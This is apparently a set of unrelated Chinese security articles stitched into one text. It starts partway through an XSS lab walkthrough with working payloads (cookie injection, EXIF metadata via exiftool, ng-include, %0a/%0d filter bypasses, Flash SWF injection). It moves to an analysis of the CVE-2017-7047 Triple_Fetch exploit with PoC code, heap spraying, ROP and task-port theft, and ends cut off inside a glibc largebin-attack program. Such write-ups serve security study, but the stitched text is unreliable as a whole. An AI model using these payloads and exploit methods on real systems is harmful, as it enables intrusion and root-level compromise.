通过审查源码发现，这次是cookie类型的xss注入，setcookie("user", "call me maybe?", time()+3600);
构造payload：
Cookie: user=call+me+maybe%3F" type="text" onmouseover=alert(/xss/) type="text"
Cookie: user=call+me+maybe%3F" type="text" onclick="alert(/xss/)
鼠标点击搜索框触发弹窗
审查元素
## **level14**
url：<http://47.94.9.224:84/level14.php>
查看源码发现exif，猜测应该是exif xss，但是这个链接由于网络的原因无法访问，exif
xss，一般利用于文件上传的地方，最经典的就是头像上传，上传一个图片，该图片的exif元数据被修改为xss
payload，成功利用弹窗，具体实现使用kali下的exiftool工具，命令如下：
exiftool -FIELD=XSS FILE
exiftool -Artist=' "><img src=1 onerror=alert(document.domain)>' brute.jpeg
查看源码通过iframe标签引入了一个<http://exofvoewer.org>, 结合乌云爆出的
漏洞，上传一个含有xss代码的图片触发xss。
exif xss
## **level15**
这里用了angularjs的ng-include，直接在包含的页面里用<script>触发不了，ng-include相当于php的include函数，然后src参数被转义了，最终我们
可以include leve1然后再用img标签传xss。
遵循SOP，只好调用第一关代码。
需要单引号包裹，否则变成注释。
paload：
/level15.php?src='level1.php?name=test<img src=1 onerror=alert(1)>'
AngularJS ng-include 指令
ng-include 指令用于包含外部的 HTML 文件。
包含的内容将作为指定元素的子节点。
ng-include 属性的值可以是一个表达式，返回一个文件名。
默认情况下，包含的文件需要包含在同一个域名下。
<element ng-include="filename" onload="expression" autoscroll="expression" ></element>
<ng-include autoscroll="expression" onload="expression" src="filename"></ng-include></ng-include></ng-include>
<body><span class="ng-include:'level1.php?name=test<img src=1 onerror=alert(1)>'"></span></body>
## **level16**
url：<http://47.94.9.224:84/level16.php>
关键代码分析
通过审查源码发现大小写绕过失效，script、/、,等都被转换成 ，这时，可以尝试使用%0a,%0d来进行绕过。
构造语句：
keyword=<img%0dsrc=a%0donerror=alert(1)>
keyword=<iframe%0dsrc=0%0donmouseover=alert`/xss/`></iframe>
keyword=<svg%0aonload=alert`/xss/`></svg>
## **level17**
url：[http://47.94.9.224:84/level17.php?arg01=a&arg02=b](http://47.94.9.224:84/level17.php?arg01=a&arg02=b)
测试语句：
arg01=a&arg02=%20onmouseover=alert`1`
审查元素
## **level18**
url：[http://47.94.9.224:84/level18.php?arg01=a&arg02=b](http://47.94.9.224:84/level18.php?arg01=a&arg02=b)
和上一关一样。
测试语句：
arg01=a&arg02=%20onmouseover=alert`1`
## **level19**
url：<http://47.94.9.224:84/level19.php?>
flash xss，需要对flash的反编译对源码进行分析，这里使用jpexs-decompiler来分析，首先定位getURL函数
然后追踪到sIFR的内容
得知version参数可以传入loc4变量中，即sIFR的内容中，但是getURL只在内容为link时打开，所以分析contentIsLink函数
所以我们可以构造`<a > </a>`标签来传值
构造payload：
arg01=version&arg02=<a href="javascript:alert(1)">xss</a>
点击xss即可触发弹窗
## **level20**
url：[http://47.94.9.224:84/level20.php?arg01=a&arg02=b](http://47.94.9.224:84/level20.php?arg01=a&arg02=b)
这题是zeroclipboard.swf的xss，构造payload
arg01=id&arg02=\%22))}catch(e){}if(!self.a)self.a=!alert(1)//%26width%26height
文笔生疏，措辞浅薄，望各位大佬不吝赐教，万分感谢。
免责声明：由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失，均由使用者本人负责， 文章作者不为此承担任何责任。
转载声明：儒道易行
拥有对此文章的修改和解释权，如欲转载或传播此文章，必须保证此文章的完整性，包括版权声明等全部内容。未经作者允许，不得任意修改或者增减此文章的内容，不得以任何方式将其用于商业目的。 | 社区文章 |
作者：[Liang Chen
(@chenliang0817)](http://keenlab.tencent.com/zh/2017/08/02/CVE-2017-7047-Triple-Fetch-bug-and-vulnerability-analysis/)
昨天 Google Project Zero 的 Ian Beer 发布了 CVE-2017-7047 的漏洞细节，以及一个叫 Triple_Fetch
的漏洞利用 app，可以拿到所有 10.3.2
及以下版本的用户态Root+无沙盒权限，昨天我看了一下这个漏洞和利用的细节，总得来说整个利用思路还是非常精妙的。我决定写这篇文章，旨在尽可能地记录下
Triple_Fetch 以及 CVE-2017-7047 的每一个精彩的细节。
#### CVE-2017-7047 漏洞成因与细节
这是个 libxpc 底层实现的漏洞。我们知道，其实 libxpc 是在 macOS/iOS 的 mach_msg
基础上做了一层封装，使得以前一些因为使用或开发 MIG 接口的过程中因为对 MIG 接口细节不熟悉导致的漏洞变得越来越少。有关 MIG
相关的内容可以参考[我以前的文章](http://keenlab.tencent.com/en/2016/07/22/WindowServer-The-privilege-chameleon-on-macOS-Part-1/) ，这里不再详细叙述。
XPC 自己实现了一套类似于 CFObject/OSObject
形式的对象库，对应的数据结构为`OS_xpc_xxx`(例如`OS_xpc_dictionary`,
`OS_xpc_data`等)，当客户端通过XPC发送数据时，`_xpc_serializer_pack` 函数会被调用，将要发送的
`OS_xpc_xxx` 对象序列化成 binary 形式。注意到，如果发送的数据中存在 `OS_xpc_data` 对象(可以是作为
OS_xpc_array 或者 OS_xpc_dictionary 等容器类的元素)时，对应的 serialize 函数
`_xpc_data_serialize` 会进行判断：
__int64 __fastcall _xpc_data_serialize(__int64 a1, __int64 a2)
{
...
if ( *(_QWORD *)(a1 + 48) > 0x4000uLL ) //这里判断data的长度
{
v3 = dispatch_data_make_memory_entry(*(_QWORD *)(a1 + 32)); //获取这块内存的send right
...
}
...
}
当 `OS_xpc_data` 对象的数据大于 0x4000 时，`_xpc_data_serialize`
函数会调用`dispatch_data_make_memory_entry`，`dispatch_data_make_memory_entry`
调用`mach_make_memory_entry_64`。`mach_make_memory_entry_64`
返回给用户一个`mem_entry_name_port` 类型的 send right, 用户可以紧接着调用 `mach_vm_map` 将这个 send
right 对应的 memory 映射到自己进程的地址空间。也就是说，对大于 0x4000 的 `OS_xpc_data` 数据，XPC
在传输的时候会避免整块内存的传输，而是通过传 port 的方式让接收端拿到这个 memory 的 send right，接收端接着通过
`mach_vm_map` 的方式映射这块内存。接收端反序列化 `OS_xpc_data` 的相关代码如下：
__int64 __fastcall _xpc_data_deserialize(__int64 a1)
{
if ( _xpc_data_get_wire_value(a1, (__int64 *)&v8, &v7) ) //获取data内容
{
...
}
return v1;
}
char __fastcall _xpc_data_get_wire_value(__int64 a1, _QWORD *a2, mach_vm_size_t *a3)
{
...
if ( v6 )
{
v7 = *v6;
if ( v7 > 0x4000 )//数据大于0x4000时，则获取mem_entry_name_port来映射内存
{
v8 = 0;
name = 0;
v17 = 0;
v19 = (unsigned int *)_xpc_serializer_read(a1, 0LL, &name, &v17); //获取mem_entry_name_port send right
if ( name + 1 >= 2 )
{
v9 = v17;
if ( v17 == 17 )
{
v10 = _xpc_vm_map_memory_entry(name, v7, (mach_vm_address_t *)&v19); //调用_xpc_vm_map_memory_entry映射内存
...
}
}
...
}
之后就是最关键的 `_xpc_vm_map_memory_entry` 逻辑了，可以看到，在 macOS 10.12.5 或者 iOS 10.3.2
的实现中，调用 `mach_vm_map` 的相关参数如下：
kern_return_t __fastcall _xpc_vm_map_memory_entry(mem_entry_name_port_t object, mach_vm_size_t size, _QWORD *a3)
{
result = mach_vm_map(
*(_DWORD *)mach_task_self__ptr,
(mach_vm_address_t *)&v5,
size,
0LL,
1,
object,
0LL,
0, // Booleean copy
0x43,
0x43,
2u);
}
`mach_vm_map` 的官方参数定义如下：
kern_return_t mach_vm_map(vm_map_t target_task, mach_vm_address_t *address, mach_vm_size_t size, mach_vm_offset_t mask, int flags, mem_entry_name_port_t object, memory_object_offset_t offset, boolean_t copy, vm_prot_t cur_protection, vm_prot_t max_protection, vm_inherit_t inheritance);
值得注意的是最后第四个参数 boolean_t copy， 如果是 0 代表映射的内存与原始进程的内存共享一个物理页，如果是 1 则是分配新的物理页。
在 `_xpc_data_deserialize` 的处理逻辑中，内存通过共享物理页的方式(copy = 0)来映射，这样在客户端进程中攻击者可以随意修改
data 的内容从而实时体现到接收端进程中。虽然在绝大多数情况下，这样的修改不会造成严重影响，因为接收端本身就应该假设从客户端传入的 data
是任意可控的。但是如果这片数据中存在复杂结构(例如length等field)，那么在处理这片数据时就可能产生 double fetch 等条件竞争问题。而
Ian Beer
正是找到了一处”处理这个data时想当然认为这块内存是固定不变的错误”，巧妙地实现了任意代码执行，这部分后面详细叙述，我们先来看看漏洞的修复。
#### CVE-2017-7047 漏洞修复
这个漏洞的修复比较直观，在 `_xpc_vm_map_memory_entry` 函数中多加了个参数，指定 vm_map
是以共享物理页还是拷贝物理页的方式来映射：
char __fastcall _xpc_data_get_wire_value(__int64 a1, _QWORD *a2, mach_vm_size_t *a3)
{
...
if ( v7 > 0x4000 )
{
v8 = 0;
name = 0;
v17 = 0;
v19 = (unsigned int *)_xpc_serializer_read(a1, 0LL, &name, &v17);
if ( name + 1 >= 2 )
{
v9 = v17;
if ( v17 == 17 )
{
v10 = _xpc_vm_map_memory_entry(name, v7, (mach_vm_address_t *)&v19, 0);//引入第四个参数，指定为0
}
}
}
...
}
kern_return_t __fastcall _xpc_vm_map_memory_entry(mem_entry_name_port_t object, mach_vm_size_t size, mach_vm_address_t *a3, unsigned __int8 a4)
{
...
result = mach_vm_map(*(_DWORD *)mach_task_self__ptr,
&address, size, 0LL, 1, object, 0LL,
a4 ^ 1, // 异或1后，变为1
0x43,
0x43,
2u);
...
}
可以看到，这里把映射方式改成拷贝物理页后，问题得以解决。
#### Triple_Fetch利用详解
如果看到这里你还不觉得累，那么下面的内容可能就是本文最精彩的内容了（当然，估计会累）。
###### 一些基本知识
我们现在已经知道，这是个 XPC 底层实现的漏洞，但具体能否利用，要看特定 XPC 服务的具体实现，而绝大多数 XPC 服务仅仅将涉及
`OS_xpc_data` 对象的 buffer 作为普通数据内容来处理，即使在处理的时候 buffer
内容发生变化，也不会造成大问题。而即便找到有问题的案例，也仅仅是影响部分 XPC 服务。把一个通用型机制漏洞变成一个只影响部分 XPC
服务的漏洞利用，可能不是一种好策略。
因此，Ian Beer 找到了一个通用利用点，那就是 NSXPC。NSXPC 是比 XPC 更上层的一种进程间通信的实现，主要为 Objective-c
提供进程间通信的接口，它的底层基于 XPC 框架。我们先来看看 Ian Beer 提供的漏洞 poc：
int main() {
NSXPCConnection *conn = [[NSXPCConnection alloc] initWithMachServiceName:@"com.apple.wifi.sharekit" options:NSXPCConnectionPrivileged];
[conn setRemoteObjectInterface: [NSXPCInterface interfaceWithProtocol: @protocol(MyProtocol)]];
[conn resume];
id obj = [conn remoteObjectProxyWithErrorHandler:^(NSError *err) {
NSLog(@"got an error: %@", err);
}];
[obj retain];
NSLog(@"obj: %@", obj);
NSLog(@"conn: %@", conn);
int size = 0x10000;
char* long_cstring = malloc(size);
memset(long_cstring, 'A', size-1);
long_cstring[size-1] = 0;
NSString* long_nsstring = [NSString stringWithCString:long_cstring encoding:NSASCIIStringEncoding];
[obj cancelPendingRequestWithToken:long_nsstring reply:nil];
gets(NULL);
return 51;
}
代码调用了 `“com.apple.wifi.sharekit”` 服务的 `cancelPendingRequestWithToken`
接口，其第一个参数为一个长度为 0x10000,内容全是 A 的 string，我们通过调试的方法来理一下调用这个 NSXPC 接口最终到底层
mach_msg 的 message 结构，首先断点到 mach_msg：
(lldb) bt
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 2.1
* frame #0: 0x00007fffba597760 libsystem_kernel.dylib`mach_msg
frame #1: 0x00007fffba440feb libdispatch.dylib`_dispatch_mach_msg_send + 1195
frame #2: 0x00007fffba441b55 libdispatch.dylib`_dispatch_mach_send_drain + 280
frame #3: 0x00007fffba4582a9 libdispatch.dylib`_dispatch_mach_send_push_and_trydrain + 487
frame #4: 0x00007fffba455804 libdispatch.dylib`_dispatch_mach_send_msg + 282
frame #5: 0x00007fffba4558c3 libdispatch.dylib`dispatch_mach_send_with_result + 50
frame #6: 0x00007fffba6c3256 libxpc.dylib`_xpc_connection_enqueue + 104
frame #7: 0x00007fffba6c439d libxpc.dylib`xpc_connection_send_message + 89
frame #8: 0x00007fffa66df821 Foundation`-[NSXPCConnection _sendInvocation:withProxy:remoteInterface:withErrorHandler:timeout:userInfo:] + 3899
frame #9: 0x00007fffa66de8e0 Foundation`-[NSXPCConnection _sendInvocation:withProxy:remoteInterface:withErrorHandler:] + 32
frame #10: 0x00007fffa4cbf54a CoreFoundation`___forwarding___ + 538
frame #11: 0x00007fffa4cbf2a8 CoreFoundation`__forwarding_prep_0___ + 120
frame #12: 0x0000000100000da4 nsxpc_client`main + 404
frame #13: 0x00007fffba471235 libdyld.dylib`start + 1
观察它的 message header 结构：
(lldb) x/10xg $rdi
0x10010bb88: 0x0000006480110013 0x0000000000001303
0x10010bb98: 0x100000000000150b 0x00001a0300000001
0x10010bba8: 0x0011000000000000 0x0000000558504321
0x10010bbb8: 0x0000002c0000f000 0x746f6f7200000002
0x10010bbc8: 0x0000800000000000 0x786f727000034000
typedef struct
{
mach_msg_bits_t msgh_bits;
mach_msg_size_t msgh_size;
mach_port_t msgh_remote_port;
mach_port_t msgh_local_port;
mach_port_name_t msgh_voucher_port;
mach_msg_id_t msgh_id;
} mach_msg_header_t;
这里发送的是一个复杂消息，长度为 0x64。值得注意的是，所有 XPC 的 msgh_id 都是固定的 0x10000000，这与 MIG 接口的根据
msgh_id 号来作 dispatch 有所不同。由于这个消息用到了大于 0x4000 的 `OS_xpc_data` 数据，因此
message_header 后跟一个 `mach_msg_body_t` 结构，这里的值为1(偏移0x18的4字节)，意味着之后跟了一个复杂消息，而偏移
0x1c 至 0x28 的内容是一个`mach_msg_port_descriptor_t` 结构，其定义如下：
typedef struct
{
mach_port_t name;
// Pad to 8 bytes everywhere except the K64 kernel where mach_port_t is 8 bytes
mach_msg_size_t pad1;
unsigned int pad2 : 16;
mach_msg_type_name_t disposition : 8;
mach_msg_descriptor_type_t type : 8;
} mach_msg_port_descriptor_t;
偏移 0x1c 处的 0x1a03 是一个 `mem_entry_name_port`，也就是 0x10000 的 ’A’ buffer 对应的 port。
从 0x28 开始的 8 字节为真正的 xpc 消息的头部，最新的 mac/iOS 上，这个头信息是固定的：
0x0000000558504321，也就是字符串 “!CPX”(XPC!的倒序)，以及版本号 0x5，接下来跟的是一个序列化过的
`OS_xpc_dictionary` 结构：
(lldb) x/10xg 0x10010bbb8
0x10010bbb8: 0x0000002c0000f000 0x746f6f7200000002
0x10010bbc8: 0x0000800000000000 0x786f727000034000
0x10010bbd8: 0x000000006d756e79 0x0000000100004000
如果翻译成 Human Readable 的格式，应该是这样：
<dict>
<key>root</key>
<data>[the data of that mem_entry_name_port]</data>
<key>proxynum</key>
<integer>1</integer>
</dict>
这里可以看到，这个 serialize 后的 OS_xpc_data 并没有引用对应的 send right 信息，只是标记它是个
DATA(0x8000)，以及它的长度 0x34000。而事实上，在 deserialize 的时候，程序会自动寻找 `mach_msg_body_t`
中指定的复杂消息个数，并且顺序去寻找后边紧跟的 `mach_msg_port_descriptor_t` 结构，而序列化过后的 XPC 消息中出现的
`OS_xpc_data` 与之前填入的 `mach_msg_port_descriptor_t`
顺序是一致并且一一对应的。用一个简单明了的图来说明，就是这样：
NSXPC at
mach_msg view
看到这里，我们对 NSXPC 所对应的底层 mach_msg 结构已经有所了解。但是，这里还遗留了个问题：如果所有 XPC 的 msgh_id 都是
0x10000000，那么接收端如何知道我调用的是哪个接口呢？其中的奥秘，就在这个 XPC Dictionary 中的 root
字段，我们还没有看过这个字段对应的 `mem_entry_name_port` 对应的 buffer 内容是啥呢，找到这个 buffer
后，他大概就是这个样子：
(lldb) x/100xg 0x0000000100440000
0x100440000: 0x36317473696c7062 0x00000000020070d0
0x100440010: 0x70d000766e697400 0x7700000000000200
0x100440020: 0x7d007373616c6324 0x61636f766e49534e
0x100440030: 0x797473006e6f6974 0x0040403a40767600
0x100440040: 0x6325117f00657373 0x6e65506c65636e61
0x100440050: 0x75716552676e6964 0x5468746957747365
0x100440060: 0x7065723a6e656b6f 0xff126fe0003a796c
0x100440070: 0x41004100410041ff 0x4100410041004100
0x100440080: 0x4100410041004100 0x4100410041004100
0x100440090: 0x4100410041004100 0x4100410041004100
0x1004400a0: 0x4100410041004100 0x4100410041004100
0x1004400b0: 0x4100410041004100 0x4100410041004100
0x1004400c0: 0x4100410041004100 0x4100410041004100
0x1004400d0: 0x4100410041004100 0x4100410041004100
0x1004400e0: 0x4100410041004100 0x4100410041004100
0x1004400f0: 0x4100410041004100 0x4100410041004100
0x100440100: 0x4100410041004100 0x4100410041004100
0x100440110: 0x4100410041004100 0x4100410041004100
(lldb) x/1s 0x0000000100440000
0x100440000: "bplist16\xffffffd0p"
这是个 bplist16 序列化格式的 buffer，是 NSXPC 专用的，和底层 XPC 的序列化格式是有区别的。这个 buffer 被做成
`mem_entry_name_port` 传输给接收端，而接收端直接用共享内存的方式获得这个
buffer，并进行反序列化操作，这就创造了一个绝佳的利用点，当然这是后话。我们先看一下这个 buffer 的二进制内容：
bplist
sample to call cancelPendingRequestWithToken
这个 bplist16 格式的解析比较复杂，而且 Ian Beer 的实现里也只是覆盖了部分格式，大致转换成 Human Readable 的形式就是这样：
<dict>
<key>$class</key>
<string>NSInvocation</string>
<key>ty</key>
<string>v@:@@</string>
<key>se</key>
<string>cancelPendingRequestWithToken:reply:</string>
AAAAAAAAAA
</dict>
这里的 ty 字段是这个 objc 接口的函数原型，se 是 selector 名称，也就是接口名字，后面跟的 AAAA 就是他的参数内容。接收端的
NSXPC 接口正是根据这个 bplist16 中的内容来分发到正确的接口并给予正确的接口参数的。
Ian Beer 提供的 PoC 是跑在 macOS 下的，因此他直接调用了 NSXPC 的接口，然后通过 `DYLD_INSERT_LIBRARIES`
注入的方式 hook 了 `mach_make_memory_entry_64` 函数，这样就能获取这个 send right 并且进行
vm_map。但是在 iOS 上（特别是没有越狱的 iOS）并不能做这样的 hook，如果从 NSXPC
接口入手我们没有办法获得那块共享内存（其实是有办法的:)，但不是很优雅），所以 Ian Beer 在 Triple_Fetch 利用程序中自己实现了一套
XPC 与 NSXPC 对象封装、序列化、反序列化的库，自己组包并调用 mach_msg 与 NSXPC 的服务端通信，实现了利用。
###### Triple_Fetch 利用 - 如何实现控 PC
Ian Beer 对 NSXPC 的这个 bplist16 的 dictionary 中的 ty 字段做了文章，这个字段指定了 objc
接口的函数原型，NSXPC 底层会去解析这个 string，如果@后跟了个带冒号的字符串，例如：@”mfz”，则 CoreFoundation 中的
__NSMS 函数会被调用：
10 com.apple.CoreFoundation 0x00007fffb8794d10 __NSMS1 + 3344
11 com.apple.CoreFoundation 0x00007fffb8793552 +[NSMethodSignature signatureWithObjCTypes:] + 226
12 com.apple.Foundation 0x00007fffba1bb341 -[NSXPCDecoder decodeInvocation] + 330
13 com.apple.Foundation 0x00007fffba46cf75 _decodeObject + 1243
14 com.apple.Foundation 0x00007fffba1ba4c7 _decodeObjectAfterSettingWhitelistForKey + 128
15 com.apple.Foundation 0x00007fffba1ba40d -[NSXPCDecoder decodeObjectOfClass:forKey:] + 129
16 com.apple.Foundation 0x00007fffba1c6c87 -[NSXPCConnection _decodeAndInvokeMessageWithData:] + 326
17 com.apple.Foundation 0x00007fffba1c6a72 message_handler + 685
18 libxpc.dylib 0x00007fffce196f96 _xpc_connection_call_event_handler + 35
19 libxpc.dylib 0x00007fffce19595f _xpc_connection_mach_event + 1707
20 libdispatch.dylib 0x00007fffcdf13726 _dispatch_client_callout4 + 9
21 libdispatch.dylib 0x00007fffcdf13999 _dispatch_mach_msg_invoke + 414
22 libdispatch.dylib 0x00007fffcdf237db _dispatch_queue_serial_drain + 443
23 libdispatch.dylib 0x00007fffcdf12497 _dispatch_mach_invoke + 868
24 libdispatch.dylib 0x00007fffcdf237db _dispatch_queue_serial_drain + 443
25 libdispatch.dylib 0x00007fffcdf16306 _dispatch_queue_invoke + 1046
26 libdispatch.dylib 0x00007fffcdf2424c _dispatch_root_queue_drain_deferred_item + 284
27 libdispatch.dylib 0x00007fffcdf2727a _dispatch_kevent_worker_thread + 929
28 libsystem_pthread.dylib 0x00007fffce15c47b _pthread_wqthread + 1004
29 libsystem_pthread.dylib 0x00007fffce15c07d start_wqthread + 13
这个函数的第一个参数指向 bplist16 共享内存偏移到 ty 字段@开始的地方，该函数负责解析后面的字串，关键逻辑如下：
_BYTE *__fastcall __NSMS1(__int64 *a1, __int64 a2, char a3)
{
v6 = __NSGetSizeAndAlignment(*a1);// A. 获取这个@"xxxxx...." string的长度
buffer = calloc(1uLL, v6 + 42 - *a1); //根据长度分配空间
v9 = buffer + 37;
while ( 2 ) //重新扫描字符串
{
v150 = v7 + 1;
v120 = *v7;
switch ( *v7 )
{
case 0x23:
...
case 0x2A:
...
case 0x40: //遇到'@'
if ( v20 == 34 ) //下一字节是'"'则开始扫描下一个引号
{
...
while ( v56 != 34 ) //B. 扫描字符串，找到第二个引号
{
v56 = (v57++)[1];
if ( !v56 ) //中间不得有null字符
goto LABEL_ERROR;
}
if ( v57 )
{
v109 = v150 + 1;
do
{
*v9++ = v55;
v110 = v109;
if ( v109 >= v57 )
break;
v55 = *v109++;
}
while ( v55 != 60 ); //C. 拷贝字符串@"xxxxx...."至buffer
}
Ian Beer 构造的初始字符串是 `@”mfz”AAAAA\x20\x40\x20\x20\x01\x00\x00\x00”\x00`, 其中 mfz
字串是运行时随机生成的3个随机字母，这是为了避免 Foundation 对已经出现过的字符串进行 cache 而不分配新内存（因为利用需要多次触发尝试）。
1. 在 A 处，调用 `__NSGetSizeAndAlignment` 得到的长度是6（因为@”mfz”长度为6），因此 calloc 分配的内存长度是48（42 + 6）。而 buffer 的前 37 字节用于存储 metadata，所以真正的字符串会拷贝在 buffer+37 的地方。
2. 在计算并分配好“合理“长度的buffer后，`__NSMS1`函数在 B 处重新扫描这个字符串，找到第二个冒号的位置（正常情况下，也就是@”mfz”的第二个冒号位置），但需要注意，在第二个冒号出现之前，不能有 null string
3. 在C处，程序根据刚才计算的“第二个冒号”的位置，开始拷贝字串到 buffer+37 位置。
Ian
Beer通过在客户端app操作共享内存，改变`@”mfz”AAAAA\x20\x40\x20\x20\x01\x00\x00\x00”\x00`的某几字节，构造出一个绝妙的
Triple_Fetch 的状态，使得：
1. 在 A 处计算长度时，字符串是 `@”mfz”AAAAA\x20\x40\x20\x20\x01\x00\x00\x00”\x00`，因此 calloc 了 48 字节(6+42)
2. 在 B 处，字符串变为`@”mfzAAAAAA\x20\x40\x20\x20\x01\x41\x41\x41”\x00`， 这样第二个冒号到了倒数第二个字节的位置(v57的位置)
3. 在 C 处，字符串变为`@”mfzAAAAAA\x20\x40\x20\x20\x01\x00\x00\x00”\x00`，程序将整个`@”mfzAAAAAA\x20\x40\x20\x20\x01\x00\x00\x00”`拷贝到 buffer+37 位置
如果只是要触发堆溢出，那1和2构造的 double fetch 已经足够，但如果要控 PC，Ian Beer 选择的是覆盖 buffer 后面精心分布的
`OS_xpc_uuid` 的对象，该对象大小恰巧也是48字节，并且其前8字节为 obj-c 的 isa (类似c++的 vptr
指针)，并且其某些字段是可控的( uuid string 部分)，通过覆盖这个指针，使其指向一段spray过的 gadget buffer 进行
ROP，完成任意代码执行。但由于 iOS 下 heap 分配的地址高4位是1，所以 `\x20\x40\x20\x20\x01\x41\x41\x41`
不可能是个有效的 heap 地址，因此我们必须加上状态3，用 triple fetch 的方式实现代码执行。
下图展示了溢出时的内存分布：
overflow to
OS_xpc_uuid
在 NSXPC 消息处理完毕后，这些布局的 `OS_xpc_uuid` 就会被释放，因为其 isa 指针已被覆盖，并且新的指针 `0x120204020`
指向了可控数据，在执行 `xpc_release(uuid)` 的时候就能成功控制PC。
###### 布局与堆喷射
布局有两个因素需要考虑，其一是需要在特定内存 0x120204020 地址上填入 rop gadget，其二是需要在 0x30 大小的 block 上喷一些
`OS_xpc_uuid` 对象，这样当触发漏洞 calloc(1,48) 的时候，让分配的对象后面紧跟一个 `OS_xpc_uuid` 对象。
第一点 Ian Beer 是通过在发送的 XPC message 里加入了 200 个 `“heap_sprayXXX”` 的key，他们的 value
各自对应一个 `OS_xpc_data`，指向 0x4000 * 0x200 的大内存所对应的 send right，这块大内存就是 ROP gadget。
而第二点是通过在 XPC message 里加入 0x1000 个 `OS_xpc_uuid`，为了创造一些 hole 放入 freelist
中，使得我们的 calloc(1,48) 能够占入， Ian Beer 在 `add_heap_groom_to_dictionary`
函数中采用了一些技巧，比如间隔插入一些大对象等，但我个人觉得这里的 groom
并不是很有必要，因为我们不追求一次触发就利用成功（事实也是如此），每次触发失败后当 `OS_xpc_uuid` 释放后，就会天然地产生很多 0x30
block 上的 free element，下一次触发漏洞时就比较容易满足理想的堆分布状态。
###### ROP与代码执行
当接收端处理完消息后 `xpc_release(uuid)` 就会被触发，而我们把其中一个 uuid 对象的 isa 替换后，我们就控制了 pc。
此事我们的 x0 寄存器指向 OS_xpc_uuid 对象，而这个对象的 0x18-0x28 的16字节是可控的。 Ian Beer 选择了这么一段作为
stack_pivot 的前置工作：
(lldb) x/20i 0x000000018d6a0e24
0x18d6a0e24: 0xf9401000 ldr x0, [x0, #0x20]
0x18d6a0e28: 0xf9400801 ldr x1, [x0, #0x10]
0x18d6a0e2c: 0xd61f0020 br x1
这样就完美地将 x0 指向了我们完全可控的 buffer 了。
###### ROP 如何获取目标进程的 send right
由于 ROP 执行代码比较不优雅，效率也低，Ian Beer 在客户端发送 mach_msg 时，在 XPC message 的 dictionary
中额外加入了 0x1000 个 port，将其 spray 到接收端进程，由于 port_name
的值在分配的时候是有规律的，接收端在ROP的时候调用64次 mach_msg，remote_port 设置成从 0xb0003 开始，每次+4，而
reply_port 设置为自己进程的task port，消息id设置为 0x12344321。在这 64 次发送中，只要有一次send right
port_name 猜中，客户端就可以拿着 port_set 中的 receive right 尝试接收消息，如果收到的消息 id 是 0x12344321
那客户端拿到的 remote port 就是接收端进程的 task send right。
###### 接收端进程的选择
由于是通杀NSXPC的利用，只要是进程实现了NSXPC的服务，并且container沙盒允许调用，我们都可以实现对端进程的代码执行。尽管如此，接收端进程的选择还是至关重要的。简单的来讲，我们首选的服务进程当然是Root权限+无沙盒，并且服务以OnDemand的形式来启动。这样的服务即使我们攻击失败导致进程崩溃，用户也不会有任何感觉，而且可以重复尝试攻击直到成功。
Ian Beer在这里选择了coreauthd进程，还有一个重要的原因，是它可以通过调用processor_set_tasks来获取系统任意进程的send
right从而绕过进程必须有get-task-allow entitlement才能获取其他进程send right的限制。而这个技巧Jonathan
Levin在2015年已经详细阐述，可以参考[这里](http://newosxbook.com/articles/PST2.html) 。
###### 后期利用
在拿到 coreauthd 的 send right 后，Ian Beer 调用 `thread_create_running` 在 coreauthd
中起一个线程，调用 `processor_set_tasks` 来获得系统所有进程的 send right。然后拿着 amfid 的 send right
用与 mach portal 同样的姿势干掉了代码签名，最后运行 debugserver 实现调试任意进程。
* * * | 社区文章 |
# Largebin Attack for Glibc 2.31
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 序
最近的题目很多都用到了这种攻击方式，那么就来学习一下，利用该技术能实现向目标地址写一个大值。正好用 how2heap 的例子，并且从源码调试上来学习。
## 新增保护
新版本下新增了两个检查。
if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))
malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
if (bck->fd != fwd)
malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");
导致我们传统的`largebin attack`没法使用了。我们就来调试看看新的largebin attack手法是如何实现的。
关于实现利用的代码如下：
if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk)){
fwd = bck;
bck = bck->bk;
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}
## 源代码
首先放一下我们的源代码，这里没有做任何修改。
#include<stdio.h>
#include<stdlib.h>
#include<assert.h>
/*
A revisit to large bin attack for after glibc2.30
Relevant code snippet :
if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk)){
fwd = bck;
bck = bck->bk;
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}
*/
int main(){
/*Disable IO buffering to prevent stream from interfering with heap*/
setvbuf(stdin,NULL,_IONBF,0);
setvbuf(stdout,NULL,_IONBF,0);
setvbuf(stderr,NULL,_IONBF,0);
printf("\n\n");
printf("Since glibc2.30, two new checks have been enforced on large bin chunk insertion\n\n");
printf("Check 1 : \n");
printf("> if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))\n");
printf("> malloc_printerr (\"malloc(): largebin double linked list corrupted (nextsize)\");\n");
printf("Check 2 : \n");
printf("> if (bck->fd != fwd)\n");
printf("> malloc_printerr (\"malloc(): largebin double linked list corrupted (bk)\");\n\n");
printf("This prevents the traditional large bin attack\n");
printf("However, there is still one possible path to trigger large bin attack. The PoC is shown below : \n\n");
printf("====================================================================\n\n");
size_t target = 0;
printf("Here is the target we want to overwrite (%p) : %lu\n\n",&target,target);
size_t *p1 = malloc(0x428);
printf("First, we allocate a large chunk [p1] (%p)\n",p1-2);
size_t *g1 = malloc(0x18);
printf("And another chunk to prevent consolidate\n");
printf("\n");
size_t *p2 = malloc(0x418);
printf("We also allocate a second large chunk [p2] (%p).\n",p2-2);
printf("This chunk should be smaller than [p1] and belong to the same large bin.\n");
size_t *g2 = malloc(0x18);
printf("Once again, allocate a guard chunk to prevent consolidate\n");
printf("\n");
free(p1);
printf("Free the larger of the two --> [p1] (%p)\n",p1-2);
size_t *g3 = malloc(0x438);
printf("Allocate a chunk larger than [p1] to insert [p1] into large bin\n");
printf("\n");
free(p2);
printf("Free the smaller of the two --> [p2] (%p)\n",p2-2);
printf("At this point, we have one chunk in large bin [p1] (%p),\n",p1-2);
